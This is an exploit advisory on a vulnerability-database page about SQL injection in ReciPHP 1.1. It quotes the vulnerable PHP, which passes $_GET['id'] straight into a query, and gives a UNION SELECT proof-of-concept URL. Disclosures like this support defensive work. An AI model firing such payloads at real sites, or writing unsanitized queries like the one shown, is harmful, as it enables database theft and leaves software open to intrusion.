Lucene search
K

ReciPHP 1.1 - SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 8 Views

ReciPHP 1.1 SQL Injection Vulnerability in showrecipe.inc.ph

Code

                                                                            \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo----------------------
   |        ReciPHP 1.1 SQL Injection Vulnerability        |
   ---------------------------------------------------------
[!] Discovered: cr4wl3r <cr4wl3r[!]linuxmail.org>
[!] Site: http://0xuht.org
[!] Download: http://sourceforge.net/projects/reciphp/files/
[!] Version: 1.1
[!] Date: 14.11.2012
[!] Remote: yes
[!] Tested: Ubuntu
[!] Reference: http://0xuht.org/Exploit/reciphp.txt

[!] Vulnerability Code [showrecipe.inc.php] :
 
<?php include 'config.php'; ?>
<div id="main">
<div id='preview'><?php


$recipeid = $_GET['id'];

$query = "SELECT title,poster,shortdesc,ingredients,directions from recipes where recipeid = $recipeid";

$result = mysql_query($query) or die('Could not find recipe');
 
 
[!] PoC (Piye om Carane):
 
    [ReciPHP]/index.php?content=showrecipe&id=-3 union select version(),2,3,4,5--

[!] Demo:

    http://0xuht.org/demo/reciphp.png

[!] Thanks: packetstormsecurity

// Gorontalo [2012-11-14]
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation